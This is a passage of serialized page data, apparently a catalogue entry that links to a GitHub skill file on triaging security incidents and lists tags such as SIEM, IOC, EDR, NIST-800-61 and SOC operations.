categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[265],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[141,267,34,268,269,270,271,272,273,274,275,32,31,203,27,276,277,278,279,280],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]